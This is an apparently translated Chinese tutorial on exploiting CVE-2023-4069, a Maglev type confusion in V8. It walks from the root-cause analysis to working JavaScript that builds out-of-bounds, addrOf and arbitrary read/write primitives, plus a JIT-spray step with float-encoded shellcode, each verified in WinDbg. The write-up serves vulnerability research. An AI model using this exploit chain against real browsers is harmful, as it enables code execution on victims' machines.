现在是时候测试我们刚刚编译的 d8 二进制文件了。我们可以从outx64.release文件夹内部启动它以及–maglev 标志。如果一切顺利,我们应该能够生成 11.5.150.16 d8 版本,如下所示。

C:v8_devv8v8outx64.released8.exe --maglevV8 version 11.5.150.16d8>

太棒了!我们成功编译并构建了 CVE-2023-4069 易受攻击的 d8 版本。现在让我们更深入地了解该漏洞的根本原因和利用方法。

CVE-2023-4069 演练

2023 年 10 月,GitHub 安全团队的 Man Yue Mo发布了 有关 V8 中的 CVE-2023-4069 类型混淆的文章。

简而言之,Maglev 编译器中错误的根本原因与 V8 中对象构造期间的对象初始化不完整有关。构造对象时,V8 可能会在设置其所有属性之前创建一个部分初始化的对象。Maglev 的推测优化可能会导致对象在这种不完整的状态下使用,从而导致类型混淆。在优化过程中,Maglev 可能会在设置对象属性之前执行使用对象的中间步骤,从而导致代码访问未初始化的对象。这可能会导致内存损坏漏洞,我们很快就会看到。

这是漏洞的 TL;DR,但现在让我们尝试从相关概念开始解释该漏洞的起源。

在 JavaScript 中, new运算符被用作面向对象编程功能的一部分。

它被用来创建内置对象类型的实例。它通过创建一个新对象、设置其原型、将其绑定到新对象并返回新对象(除非构造函数返回一个对象)来 实现此目的。

作为new运算符的一个示例,下面的代码定义了一个构造函数Person,它将传递的name参数分配给创建的对象上名为name 的 属性。

function Person(name) {  this.name = name;}

const person = new Person('uf0');console.log(person.name); // Outputs: uf0

JS ‘new’ 运算符示例

当调用 new Person(‘uf0’)时,它会创建一个新的Person实例,并将name设置为’uf0’。然后console.log(person.name);语句打印出name属性 的值。

除此之外,我们还有一个类似但不完全一样的运算符,即 new.target。它是构造函数中可用的特殊元属性。它允许我们检测是否使用 new运算符调用了函数或构造函数。如果通过new调用,new.target会引用构造函数或类。如果不使用new调用,new.target 将返回undefined。

这对于强制仅使用new调用构造函数很有用 ,从而防止对象初始化滥用。

为了更好地阐明这些概念,下面的代码说明了new.target如何与new运算 符结合使用。

function Person(name) {  if (!new.target) {    throw new TypeError('Must use the new operator with the "new" constructor');  }  this.name = name;}

try { Person('uf0');} catch (e) { console.log(e.message); }

person = new Person('uf0'); console.log(person.name);

使用“New.Target”运算符并使用“New”构造函数实例化对象

在这里,Person构造函数检查new.target以确保它是用new调用的。如果不是,它会抛出一个错误。new.target通过强制正确实例化对象来帮助使 JavaScript 代码更加健壮。

我们可以通过将上述代码保存为new.js并从 d8 加载来测试行为。

C:v8_devv8v8out>x64.released8.exeV8 version 11.5.150.16d8> load('new.js')Must use the new operator with the "new" constructoruf0undefined

验证“new.target”代码

正如我们所料,第一行打印出错误,因为new.target捕获了异常,因为创建对象时没有使用 new运算符。另一方面,第二行正确打印出参数,因为对象已使用 new 构造函数实例化。

可以安全地忽略最后一个未定义的字符串,因为它被打印出来是因为脚本没有返回任何明确的值。

了解完 JS 语言的先决条件后,我们来讨论一下reflect.construct

使用reflect.construct我们可以间接调用new.target。它的语法如下。

Reflect.construct(target, argumentsList, newTarget)

Reflect.construct 语法

根据 MDN 文档:

“Reflect.construct(target,argumentsList,newTarget) 在语义上等同于:new target(…argumentsList);

现在我们可以在以下示例中结合reflect.construct和类继承:

class A {    constructor() {       console.log(new.target.name);    }  }
class B extends A { }
new A(); new B(); Reflect.construct(A, [], B);

创建两个类后,B 作为 A 的扩展,然后我们通过将A作为目标并将B作为 newTarget传递来调用reflect.construct。如果我们在 d8 下测试上述代码,我们会得到以下输出。

d8> load('reflect.construct.js')ABB

测试 reflect.struct

前两行我们得到了每个类的目标名称,正如预期的那样。然而,第三行显示调用Reflect.construct 后只打印了B。为什么会这样?

好吧,当Reflect.construct(A, [], B)使用时,它会创建A的新实例,但它将构造函数的new.target设置为B。这意味着在A的构造函数中,new.target指向B,而不是A。因此,即使执行了A的构造函数,new.target 也会使其打印B而不是A。

Reflect.construct更有趣的是,它会根据被调用函数是否返回值表现出不同的行为。

让我们通过一个例子来更好地理解这个概念。我们首先创建一个 返回三个 SMI 数组的 函数目标,并通过Reflect.construct调用它。

function target() {return [1,2,3];}function newtarget() {}var x = Reflect.construct(target, [], newtarget);%DebugPrint(x);

具有返回值函数的 Reflect.construct

我们再次将代码加载到 d8 中,这次使用–allow-natives-syntax标志。这使我们能够检查任何类型的 JS 对象的详细信息。

C:v8_devv8v8out>x64.released8.exe --allow-natives-syntaxV8 version 11.5.150.16

d8> load('reflect.js')DebugPrint: 000002B70004C139: [JSArray] - map: 0x02b70018e299 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties] - prototype: 0x02b70018e4dd <JSArray[0]> - elements: 0x02b70019a805 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)] - length: 3 - properties: 0x02b700000219 <FixedArray[0]> - All own properties (excluding elements): { 000002B700000E0D: [String] in ReadOnlySpace: #length: 0x02b700144a3d <AccessorInfo name= 0x02b700000e0d <String[6]: #length>, data= 0x02b700000251 <undefined>> (const accessor descriptor), location: descriptor } - elements: 0x02b70019a805 <FixedArray[3]> { 0: 1 1: 2 2: 3 }

检查返回值

正如预期的那样,该函数返回了一个包含三个 SMI 的JSArray 。

让我们尝试一种类似的方法,但这次我们调用一个不返回任何内容的目标函数。

function target() {}function newtarget() {}var x = Reflect.construct(target, [], newtarget);%DebugPrint(x);

具有无返回值函数的 Reflect.construct

现在,目标函数没有返回任何值,因此我们应该从控制台/调试器中看到未定义的返回值消息。让我们再次通过 d8 进行验证。

d8> load('rc2.js')DebugPrint: 000002100004C0F9: [JS_OBJECT_TYPE] - map: 0x02100019a959 <Map[52](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x02100004c08d <Object map = 000002100019A931> - elements: 0x021000000219 <FixedArray[0]> [HOLEY_ELEMENTS] - properties: 0x021000000219 <FixedArray[0]> - All own properties (excluding elements): {}000002100019A959: [Map] in OldSpace - type: JS_OBJECT_TYPE...

检查无返回函数的返回值

令人惊讶的是,该函数返回一个指向 JS_OBJECT_TYPE的指针 ,而不是undefined。

在 V8 中,通过FastNewObject创建新对象时也会创建默认接收器。如果目标函数返回一个对象,则丢弃默认接收器并使用返回的对象;否则,返回默认接收器。

让我们通过一些代码示例进一步阐明这个概念:

在 V8 中,每个 JavaScript 函数都有一个initial_map,这是一个Map 对象,用于确定接收方对象的类型和内存布局。如前所述,map 对于定义对象的隐藏类型、内存布局和字段存储至关重要。

当FastNewObject创建默认接收者对象时,它会尝试使用new.target的initial_map作为该对象的映射。

TNode<JSObject> ConstructorBuiltinsAssembler::FastNewObject(    TNode<Context> context, TNode<JSFunction> target,    TNode<JSReceiver> new_target, Label* call_runtime) {  // Verify that the new target is a JSFunction.  Label end(this);  TNode new_target_func =      HeapObjectToJSFunctionWithPrototypeSlot(new_target, call_runtime);
GotoIf(DoesntHaveInstanceType(CAST(initial_map_or_proto), MAP_TYPE), call_runtime); TNode initial_map = CAST(initial_map_or_proto); TNode new_target_constructor = LoadObjectField( initial_map, Map::kConstructorOrBackPointerOrNativeContextOffset); GotoIf(TaggedNotEqual(target, new_target_constructor), call_runtime); //<--- check
BIND(&instantiate_map); return AllocateJSObjectFromMap(initial_map, properties.value(), base::nullopt, AllocationFlag::kNone, kWithSlackTracking);}

FastNewObject 函数

如果FastNewObject失败,它会调用运行时路径 JSObject::New:

MaybeHandle<JSObject> JSObject::New(Handle<JSFunction> constructor,                                    Handle<Object> new_target,                                    Handle<AllocationSite> site) {  Handle<Map> initial_map;  ASSIGN_RETURN_ON_EXCEPTION(      isolate, initial_map,      JSFunction::GetDerivedMap(isolate, constructor, new_target), JSObject);
Handle<JSObject> result = isolate->factory()->NewFastOrSlowJSObjectFromMap( initial_map, initial_capacity, AllocationType::kYoung, site); return result;}

JSObject::New 函数

GetDerivedMap可能会调用FastInitializeDerivedMap在new_target中创建initial_map:

bool FastInitializeDerivedMap(Isolate* isolate, Handle<JSFunction> new_target,                              Handle<JSFunction> constructor,                              Handle<Map> constructor_initial_map) {  Handle<Map> map =      Map::CopyInitialMap(isolate, constructor_initial_map, instance_size,                          in_object_properties, unused_property_fields);  map->set_new_target_is_base(false);  Handle<HeapObject> prototype(new_target->instance_prototype(), isolate);  JSFunction::SetInitialMap(isolate, new_target, map, prototype, constructor);}

FastInitializeDerivedMap 函数

这里的initial_map是target的initial_map的副本,但原型设置为new_target的原型,构造函数设置为target。

换句话说,FastNewObject的目的是检查是否使用正确的initial_map正确有效地创建了默认接收器对象。

当从具有无操作(即不执行任何操作)默认构造函数的类创建对象时,V8 会通过跳过这些构造函数进行优化。例如:

class A {}class B extends A {}new B();

这里,调用new B()会跳过默认构造函数A,以优化性能。

FindNonDefaultConstructorOrConstruct编译器优化会跳过无操作构造函数。

通过将–print-bytecode标志传递给 d8,为上述代码片段生成了以下字节码。

C:v8_devv8v8out>x64.released8.exe --print-bytecodeV8 version 11.5.150.16d8> load('bug.js')...[generated bytecode for function: B (0x00510019a64d <SharedFunctionInfo B>)]Bytecode length: 38Parameter count 1Register count 9Frame size 72Bytecode age: 0         000000510019AA4A @    0 : 89                CreateRestParameter         000000510019AA4B @    1 : c3                Star2         000000510019AA4C @    2 : 19 fe f9          Mov <closure>, r1         000000510019AA4F @    5 : 5a f9 fa f3       FindNonDefaultConstructorOrConstruct r1, r0, r7-r8         000000510019AA53 @    9 : 19 f8 f5          Mov r2, r5         000000510019AA56 @   12 : 0b f3             Ldar r7         000000510019AA58 @   14 : 19 f9 f7          Mov r1, r3         000000510019AA5B @   17 : 19 fa f4          Mov r0, r6         000000510019AA5E @   20 : 19 f2 f6          Mov r8, r4         000000510019AA61 @   23 : 99 0c             JumpIfTrue [12] (000000510019AA6D @ 35)         000000510019AA63 @   25 : ae f6             ThrowIfNotSuperConstructor r4         000000510019AA65 @   27 : 0b f4             Ldar r6         000000510019AA67 @   29 : 6a f6 f5 01 00    ConstructWithSpread r4, r5-r5, [0]         000000510019AA6C @   34 : c1                Star4         000000510019AA6D @   35 : 0b f6             Ldar r4         000000510019AA6F @   37 : aa                Return...

分析函数 B 的字节码

从上面的清单中,如果FindNonDefaultConstructorOrConstruct为真,它将采用JumpIfTrue语句,跳转到 000000510019AA6D,从而返回默认接收器。

总而言之,CVE-2023-4069 的漏洞发生在 Maglev 处理 FindNonDefaultConstructorOrConstruct的方式中。

FindNonDefaultConstructorOrConstruct优化会跳过无操作构造函数。如果到达基构造函数, 则使用BuildAllocateFastObject而不是FastNewObject来创建接收方对象。

问题在于BuildAllocateFastObject不会验证new_target的initial_map的构造函数字段。如果new_target和 target不同,这可能会导致创建具有未初始化字段的对象,从而引发类型混淆错误。

这里唯一需要注意的是, VisitFindNonDefaultConstructorOrConstruct在调用FastObject之前检查new_target是否为常量。


void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {  ...          compiler::OptionalHeapObjectRef new_target_function =              TryGetConstant(new_target);  ...      if (new_target_function && new_target_function->IsJSFunction()) {              object = BuildAllocateFastObject(                  FastObject(new_target_function->AsJSFunction(), zone(),                             broker()),                  AllocationType::kYoung);

VisitFindNonDefaultConstructorOrConstruct 检查 new_target 是否为常量

负责检查new_taget是否为常量的函数恰当地命名为TryGetConstant。

在下面的代码中我们可以看到如何强制new_target为常量。

class A {}

var x = Array;

class B extends A { constructor() { x = new.target; // caching x as a constant super(); }}Reflect.construct(B, [], x);

强制将 new.target 设置为常量

在上面的代码中,我们创建了一个基类A和一个 扩展了A 的子类B。在B的构造函数中,new.target被缓存在全局变量x中。

在最后一行中,我们将B作为target调用,将x作为 new_target调用。考虑到我们传递了TryGetConstant,我们击中了易受攻击的代码路径,从而到达了FastObject。

实际情况是,Reflect.construct创建了B的实例 ,但将new.target设置为Array,这意味着x变成了 Array类型对象。

数组有一个长度字段,需要正确初始化。如果B 初始化此数组时未设置长度,则它仍处于未初始化状态,这可能会导致内存损坏,如前所述。

正常情况下,V8 会确保new.target的构造函数与预期类型匹配,以防止出现这种情况。如果 Maglev 中没有这个检查,就会出现漏洞。

我们几乎完成了执行越界(OOB)数组访问所需理论的学习,现在我们需要面对最后一个障碍。

当 Maglev 优化B并且优化后的代码运行时, Reflect.construct通常会创建一个长度为 0 的数组,因为可用内存最初包含零,这对于 OOB 访问来说不是一个理想的值。

然而,通过反复创建和删除对象并触发垃圾收集,我们可以操纵内存,使得未初始化的数组最终具有任意长度,这可能非常适合破坏有用的地址,如对象指针。

综合目前所学到的知识,我们得到以下代码,该代码通过数组损坏为我们提供了原始的 OOB 读取。

class A {}

var x = Array;

class B extends A { constructor() { x = new.target; super(); }}

function construct() { var r = Reflect.construct(B, [], x); return r;}

for (let i = 0; i < 2000; i++) { construct();}

let corruptedArr = construct(); %DebugPrint(corruptedArr);

var gcSize = 0x4fe00000;new ArrayBuffer(gcSize);new ArrayBuffer(gcSize);

corruptedArr = construct(); %DebugPrint(corruptedArr);

触发垃圾回收后损坏数组

一旦代码通过for 循环得到优化,我们就会通过调试语句打印数组。然后我们触发垃圾收集器两次并打印出数组的值。

值0x4fe00000 (约 1.34 GB)非常适合触发垃圾回收,因为它足够大,可以分配大量内存,填充 4GB 的V8 堆内存的很大一部分。这将强制 JS 引擎执行垃圾回收。

在 d8 中运行上述代码将显示以下数组属性:

C:v8_devv8v8out>x64.released8.exe --allow-natives-syntax --maglevV8 version 11.5.150.16d8> load('oob.js')DebugPrint: 000000F300070D69: [JSArray] - map: 0x00f30018e299 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties] - pototype: 0x00f30018e4dd <JSArray[0]> - elements: 0x0f300000219 <FixedArray[0]> [PACKED_SMI_ELEMENTS] - length: 0...DebugPrint: 000000F300042139: [JSArray] - map: 0x00f30018e299 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties] - prototype: 0x00f30018e4dd <JSArray[0]> - elements: 0x00f300000219 <FixedArray[0]> [PACKED_SMI_ELEMENTS] - length: 463348 }

检查损坏的数组长度

第一次运行时,corruptedArr数组的长度为 0,这与触发漏洞代码后的情况一致。然而,由于垃圾收集器对内存进行了混洗,我们可以看到新的长度为463348。这是一个很大的值,可能会导致对象损坏。

与大多数基于 JIT 的类型混淆错误一样,下一步利用涉及获取任意受控的读/写原语。

原始漏洞背后的想法是,我们可以利用 corruptedArr越界读取来获取标记数组的地址,这里名为oobDblArr。

function searchDblArrIndex(startAddr, corruptedArr, marker1, marker2, limit) {    var startIndex = getOffset(startAddr);    var end = getOffset(limit);    for (let idx = startIndex; idx < end; idx += 1) {      if (corruptedArr[idx] == marker1 && corruptedArr[idx + 2] == marker2) {s        return idx - 3;      }    }  }
class A {}
var gcSize = 0x4fe00000;
var arrAddr = 0x42191; var emptyAddr = 0x219;
var view = new ArrayBuffer(24); var dblArr = new Float64Array(view); var intView = new Uint32Array(view);
var x = Array;
class B extends A { constructor() { x = new.target; super(); } }
function construct() { var r = Reflect.construct(B, [], x); return r; }
for (let i = 0; i < 2000; i++) construct();
new ArrayBuffer(gcSize); new ArrayBuffer(gcSize);
var corruptedArr = construct(); corruptedArr = construct();
function getOffset(addr) { return (addr - emptyAddr) / 4 - 2; }
var oobDblArr = [0x41, 0x42, 0x51, 0x52, 1.5]; var dblIndex = searchDblArrIndex(arrAddr, corruptedArr, 0x40504000 / 2, 0x40508000 / 2, arrAddr + 0x1000); %DebugPrint(corruptedArr); %DebugPrint(oobDblArr); Math.sin();

1.js – 通过 CorruptedArr OOB 读取查找 OobDblArr 数组

这里oobDblArr数组用作标记,在内存中创建0x40504000和0x40508000值。

searchDblArrIndex函数解析第一个corrededArr 损坏数组,以搜索属于 oobDblArr的两个签名。

我们可以通过从 WinDbg 启动 d8 来验证这条信息,并使用类似的选项。

Chrome 漏洞利用简介 - Maglev 版

从 WinDbg 启动 1.js

然后我们在d8!Builtins_MathSin函数处启用一个断点,然后让代码恢复执行。

0:000> bp d8!Builtins_MathSinbreakpoint 0 redefined0:000> g...Breakpoint 0 hitd8!Builtins_MathSin:00007ff6`32560140 55              push    rbp

达到 MathSin 断点

我们从控制台窗口中注意到了ruptedArr元素的地址 ,在本例中是0000019E00042159 。

DebugPrint: 0000019E00042159: [JSArray] - map: 0x019e0018e299 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties] - prototype: 0x019e0018e4dd <JSArray[0]> - elements: 0x019e00000219 <FixedArray[0]> [PACKED_SMI_ELEMENTS]

检查损坏的Arr元素地址

我们应该记住,正如 Man Yue Mo 指出的那样,由于 V8 堆缺乏随机化,大多数对象将与原始损坏的对象以静态偏移对齐。

我们现在可以从0x019e00000219开始 搜索40 50 40 00模式,直到提供的长度0x42191加 0x1000。

0:000> s 0x019e00000219 L?0x42191+1000 40 50 40 000000019e`00042175  40 50 40 00 00 00 00 00-80 50 40 00 00 00 00 00  @[email protected]@.....0000019e`000421bd  40 50 40 00 00 00 00 00-80 50 40 00 00 00 00 00  @[email protected]@.....

手动搜索 oobDblArr 标记

在漏洞利用的最终版本中,正确的对象对齐后,函数将仅抓取第二次命中,即指向oobDblArr元素对象的命中。

从这里开始我们的策略与其他类型混淆错误非常相似:另一个对象oobObjArr被放置在 oobDblArr之后。

使用对oobDblArr的越界 (OOB) 读取操作,我们可以读取oobObjArr中存储的对象的内存地址,这使我们能够获取任何 V8 对象的地址。

接下来,我们在oobDblArr之后 放置另一个双精度数组oobDblArr2 。通过使用oobDblArr上的 OOB 写入功能,我们将oobDblArr2的元素字段覆盖为对象地址。访问oobDblArr2的元素使我们能够读取和写入任意地址。

获取 JS 对象指针的addrOf操作通过以下代码完成,以及读写原语。

var oobDblArr = [0x41, 0x42, 0x51, 0x52, 1.5];var oobDblArr2 = [0x41, 0x42, 1.5];var oobObjArr = [view, 0x424242];oobObjArr[0] = 0x414141;

function addrOf(obj, dblOffset) { oobObjArr[0] = obj; var addrDbl = oobDblArr[dblOffset]; return ftoi32(addrDbl)[0];}

function read(addr, dblArrOffset) { var oldValue = oobDblArr[dblArrOffset]; oobDblArr[dblArrOffset] = i32tof(addr, 2); var out = ftoi32(oobDblArr2[0]); oobDblArr[dblArrOffset] = oldValue; return out;}

function write(addr, val1, val2, dblArrOffset) { var oldValue = oobDblArr[dblArrOffset]; oobDblArr[dblArrOffset] = i32tof(addr, 2); oobDblArr2[0] = i32tof(val1, val2); oobDblArr[dblArrOffset] = oldValue; return; }

addrOf 和 r/w 函数

直到最近,拥有这样的原语才会导致通过Web Assembly创建 RWX 页面 ,而这对于渲染器过程来说几乎是游戏结束。

然而,新引入的V8 堆沙箱 通过进一步隔离堆地址空间并使外部内存访问变得更加困难,从而缓解了 WASM 技术。

为了绕过 V8 堆沙箱,我们需要借助一种名为JIT 喷射的相当新的技术。

这个想法是滥用位于JITted 函数代码 对象内部的函数指针并劫持它以指向我们的 shellcode 的开头。

JIT喷涂可以概括为以下四个步骤:

  • 我们将 shellcode 存储为双精度数组(或其他合适的数据结构),以将 shellcode 存储为浮点数。下一节将详细介绍此步骤。

  • 使用任意读取原语在 JavaScript 函数对象中查找 JIT 优化的代码指针。

  • 使用任意写入原语修改 JIT 代码指针,使其指向 JIT 代码中的所需位置,而不是原始代码流。

  • 调用 JITted shellcode 函数,该函数现在指向我们的 shellcode 的起始地址而不是其原始的起始地址。

让我们通过从漏洞利用中挑选相关的 JIT 喷射代码来阐明这个概念。

  function func() {    return [1.9711826951435894e-246, 1.971182297804913e-246, 1.9711823870029425e-246, 1.971182489416965e-246, 1.9485505705182829e-246, 1.9711823520879356e-246, 1.93080727203784e-246, 1.971182897965126e-246, 1.9560492656946336e-246, 1.9711824228538599e-246, 1.9895153914032175e-246, 1.9711828988902342e-246, 1.971182900238425e-246, -6.828932338446045e-229];  }    var funcAddr = addrOf(func, (objIndex - oobDblIndex) >> 1);    %DebugPrint(func);    console.log("func Addr: " + funcAddr.toString(16));    var dblOffset = (oobDbl2Index - oobDblIndex - 5) >> 1;    var codeAddr = read(funcAddr + 0x10, dblOffset)[0];    console.log("code Addr: " + codeAddr.toString(16));    var maglevAddr = read(codeAddr + 0x8, dblOffset);    console.log("maglev Addr: " + maglevAddr[1].toString(16) +maglevAddr[0].toString(16) + " " );    Math.sin();    write(codeAddr + 0x8, maglevAddr[0] + 0x80 + 2, maglevAddr[1], dblOffset);    %DebugPrint(func);    Math.sin();    func();

JIT喷射漏洞代码

这里的代码通过addrOf原语检索函数地址,然后通过取消引用静态偏移量来获取代码 指针。

让我们在任何修改之前调试打印func对象。

DebugPrint: 000001F10019B705: [Function] in OldSpace - map: 0x01f100184131 <Map[32](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x01f100184059 <JSFunction (sfi = 000001F100146745)> - elements: 0x01f100000219 <FixedArray[0]> [HOLEY_ELEMENTS] - function prototype: - initial_map: - shared_info: 0x01f10019aad9 <SharedFunctionInfo func> - name: 0x01f10019a695 <String[4]: #func> - formal_parameter_count: 0 - kind: NormalFunction - context: 0x01f10019b595 <ScriptContext[5]> - code: 0x01f1001a2741 <Code MAGLEV>

打印函数属性

检查位于0x01f1001a2741的 Code MAGLEV 对象会发现以下详细信息。

0:000> dq 0x01f1001a2741-1 L4000001f1`001a2740  001a26a9`00000d91 9248d9b1`00000f61000001f1`001a2750  00007ff6`9248d9c0 000003ac`000000ac

检查代码对象指针

在偏移量 0x10 处,我们可以看到00007ff69248d9c0 ,这是函数func经过 JIT 编译后的代码。我们来反汇编一下,验证一下它的页面权限。

0:000> u 7ff69248d9c000007ff6`9248d9c0 8b59f4          mov     ebx,dword ptr [rcx-0Ch]00007ff6`9248d9c3 4903de          add     rbx,r1400007ff6`9248d9c6 f7431700000020  test    dword ptr [rbx+17h],20000000h00007ff6`9248d9cd 0f856d3afe9f    jne     d8!Builtins_CompileLazyDeoptimizedCode (00007ff6`32471440)00007ff6`9248d9d3 49b9b9ba1900f1010000 mov r9,1F10019BAB9h00007ff6`9248d9dd 410fb7490d      movzx   ecx,word ptr [r9+0Dh]00007ff6`9248d9e2 f6c12e          test    cl,2Eh00007ff6`9248d9e5 0f85e1010000    jne     00007ff6`9248dbcc

0:000> !address 7ff69248d9c0...Protect: 00000040 PAGE_EXECUTE_READWRITE...

检查 JIT 代码和内存权限

我们已经确认该页面是可执行的,因此我们可以恢复执行。

0:000> gBreakpoint 0 hitd8!Builtins_MathSin:00007ff6`32560140 55              push    rbp0:000> dq 0x01f1001a2741-1 L4000001f1`001a2740  001a26a9`00000d91 9e248d9b1`00000f61000001f1`001a2750  00007ff6`9248da42 000003ac`000000ac

0:000> u 00007ff6`9248da4200007ff6`9248da42 0349ba add ecx,dword ptr [rcx-46h]00007ff6`9248da45 4883c360 add rbx,60h00007ff6`9248da49 90 nop00007ff6`9248da4a 90 nop00007ff6`9248da4b eb0c jmp 00007ff6`9248da5900007ff6`9248da4d c4c1f96ec2 vmovq xmm0,r1000007ff6`9248da52 c5fb114707 vmovsd qword ptr [rdi+7],xmm000007ff6`9248da57 49ba654c8b039090eb0c mov r10,0CEB9090038B4C65h

验证 JIT 函数指针现在是否引用我们的 Shellcode

一旦我们到达最后一个断点,我们可以再次分析,指针已更改为00007ff69248da42,从而导致不同的 JIT 代码块。

你可能猜对了,这就是我们的 shellcode!我们将在下一节进一步分析它。现在只需调用该函数,代码就会重定向到我们控制的函数。

我们尚未探究这些浮点数如何能够将适当的 shellcode 逻辑链接在一起,因此让我们在下一节中介绍最后一部分。

JIT喷射Shellcode

虽然 Man Yue Mo 原始博客文章中详述的 JavaScript 漏洞是完全可移植的,但 shellcode 本身仅限于 Linux 系统。

作为第一步,我们希望弄清楚现有有效载荷背后的机制,然后对其进行调整,以便它可以在 Windows 系统上运行。

如前所述,新实现的 V8 堆沙箱具有严格的内存隔离,阻止了编写 Web Assembly RWX 页面的传统方法。因此,我们需要找到一种替代方法来传递和执行我们的有效载荷。

解决方案在于JIT Spraying IEEE Immediate Numbers。

使用 JIT 喷射,我们将 IEEE 浮点函数 JIT 编译为所需的 shellcode,该 shellcode 是我们之前通过 Python 脚本生成的(稍后会详细介绍)。然后,通过读写操作操纵函数指针,我们将执行转移到 JIT 代码的中间。

这种技术使我们能够将浮点数据作为 JavaScript 代码,并在 JIT 编译时将其转换为所需的汇编代码。

为了了解 shellcode 在内存中的样子,让我们从下面的代码片段开始。

const shellcode = () =>{return [1.1, 2.2, 3.3];}%PrepareFunctionForOptimization(shellcode);shellcode();%OptimizeFunctionOnNextCall(shellcode);shellcode();%DebugPrint(shellcode);

在 d8 调试引擎中测试 IEEE 数字

第一行是名为shellcode的实际有效载荷函数,它不接受任何参数并返回一个包含三个浮点数的数组:1.1、2.2 和 3.3。接下来,我们通过%PrepareFunctionForOptimization准备函数进行 JIT 优化。它是 V8 引擎用来准备 JavaScript 函数进行优化的内部函数,其中涉及诸如分析、分析和设置与优化相关的机制等任务。

调用该函数后,我们使用%OptimizeFunctionOnNextCall告诉 d8 在下一次调用时对该函数进行 JIT 编译,然后我们最终调用优化的 shellcode 函数。最后一行的DebugPrint语句将允许我们检查 JIT 编译函数的内部情况。

然后我们可以使用本机语法调试选项启动 d8 并加载代码。

C:v8_devv8v8out>x64.released8.exe --maglev --allow-natives-syntaxV8 version 11.5.150.16d8> load("jitspray1.js")...

使用 Natives-Syntax 选项启动 D8 并加载“Jitspray1.js”

调试输出提供了有关shellcode函数在 V8 中的内部表示的信息,包括其内存地址、映射、原型、元素。

DebugPrint: 000003C70004BF61: [Function] - map: 0x03c7001841a5 <Map[28](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x03c700184059 <JSFunction (sfi = 000003C700146745)> - elements: 0x03c700000219 <FixedArray[0]> [HOLEY_ELEMENTS] - function prototype: <no-prototype-slot> - shared_info: 0x03c70019a469 <SharedFunctionInfo shellcode> - name: 0x03c70019a3f5 <String[9]: #shellcode> - formal_parameter_count: 0 - kind: ArrowFunction - context: 0x03c70019a525 <ScriptContext[3]> - code: 0x03c70019ba29 <Code TURBOFAN>...

通过 DebugPrint 语句检查“shellcode”函数。

上面清单中的最后一行显示了 Turbofan 编译的代码 JS 对象的内存地址。

为了进一步检查内存中生成的 JIT 编译代码,我们可以启动 WinDbg 并附加到 d8 进程。从调试器中,我们可以检查代码对象的前三个 qword。为此,我们首先需要从 obj 值中减去 1。为什么这样做?这是由于指针标记。指针标记涉及使用最低有效位 (LSB) 在指针内编码附加信息。这有助于 V8 快速区分不同类型的数据,而无需额外的内存开销。指针的最低有效位用作标记。如果 LSB 为 0,则指针是对对象的引用。如果 LSB 为 1,则指针代表一个小的整数。

0:017> dq 0x03c70019ba29-1 L3000003c7`0019ba28  0019b995`00000d91 e0044031`00000f61000003c7`0019ba38  00007ff6`e0044040

检查“代码”对象

从上面的列表中,第一个 qword 0x03c700000d91是对象 MAP 或隐藏类,第二个0x03c700000f61是位置表。位置表是一种数据结构,它将字节码指令偏移量映射到生成的机器码中的位置。地址00007FF6E0044040处的最后一个 qword是指令开始,它指向 JIT 编译的汇编代码的开始,我们将进一步分析它。

0:020> u 00007ff6`e0044040 L3000007ff6`e0044040 8b59f4          mov     ebx,dword ptr [rcx-0Ch]00007ff6`e0044043 4903de          add     rbx,r1400007ff6`e0044046 f7431700000020  test    dword ptr [rbx+17h],20000000h00007ff6`e004404d 0f85edd348a5    jne     d8!Builtins_CompileLazyDeoptimizedCode (00007ff6`854d1440)00007ff6`e0044053 55              push    rbp00007ff6`e0044054 4889e5          mov     rbp,rsp00007ff6`e0044057 56              push    rsi00007ff6`e0044058 57              push    rdi00007ff6`e0044059 50              push    rax...00007ff6`e0044094 49ba9a9999999999f13f mov r10,3FF199999999999Ah00007ff6`e004409e c4c1f96ec2      vmovq   xmm0,r1000007ff6`e00440a3 c5fb114107      vmovsd  qword ptr [rcx+7],xmm000007ff6`e00440a8 49ba9a99999999990140 mov r10,400199999999999Ah00007ff6`e00440b2 c4c1f96ec2      vmovq   xmm0,r1000007ff6`e00440b7 c5fb11410f      vmovsd  qword ptr [rcx+0Fh],xmm000007ff6`e00440bc 49ba6666666666660a40 mov r10,400A666666666666h

分析内存中的 JIT 编译代码

最后七行负责将我们的三个浮点数字移动到内存中。这些数字首先存储到r10寄存器中,然后移动到xxm0寄存器中。XMM 寄存器是 x86 和 x86-64 处理器中 SIMD(单指令、多数据)架构扩展的一部分,主要用于对浮点和整数数据执行矢量化运算。

我们可以使用.formats.WinDbg实用程序验证第一个十六进制值 (1.1) 的浮点表示形式。

0:020> .formats 3FF199999999999AhEvaluate expression:  Hex:     3ff19999`9999999a  Decimal: 4607632778762754458  Decimal (unsigned) : 4607632778762754458  Octal:   0377614631463146314632  Binary:  00111111 11110001 10011001 10011001 10011001 10011001 10011001 10011010  Chars:   ?.......  Time:    Mon Jan  4 09:24:36.275 16202 (UTC + 2:00)  Float:   low -1.58819e-023 high 1.8875  Double:  1.1

转换浮点值

现在,让我们回顾一下我们的主要目标:我们必须使用通常用于表示浮点值的 8 字节结构来直接编码我们的 shellcode 指令。通过以“浮点数形 shellcode”的形式将这些指令嵌入 V8 隔离堆内存中,我们可以在 JavaScript 函数进行 JIT 编译后立即将它们转换为所需的 shellcode 汇编指令。

然后,我们必须使用短跳转命令将这些编码指令链接在一起,从而创建更可靠的漏洞利用策略。让我们看看如何实现这一点。

首先,我们验证属于JIT代码的内存页是否可写且可执行。

0:017> !vprot 00007ff6`e0044040BaseAddress:       00007ff6e0044000AllocationBase:    00007ff6e0000000AllocationProtect: 00000001  PAGE_NOACCESSRegionSize:        000000000003b000State:             00001000  MEM_COMMITProtect:           00000040  PAGE_EXECUTE_READWRITEType:              00020000  MEM_PRIVATE

验证 JIT 代码内存权限

确认这一点后,我们可以使用名为shellcode2的新函数复制我们之前在 d8 上所做的事情。

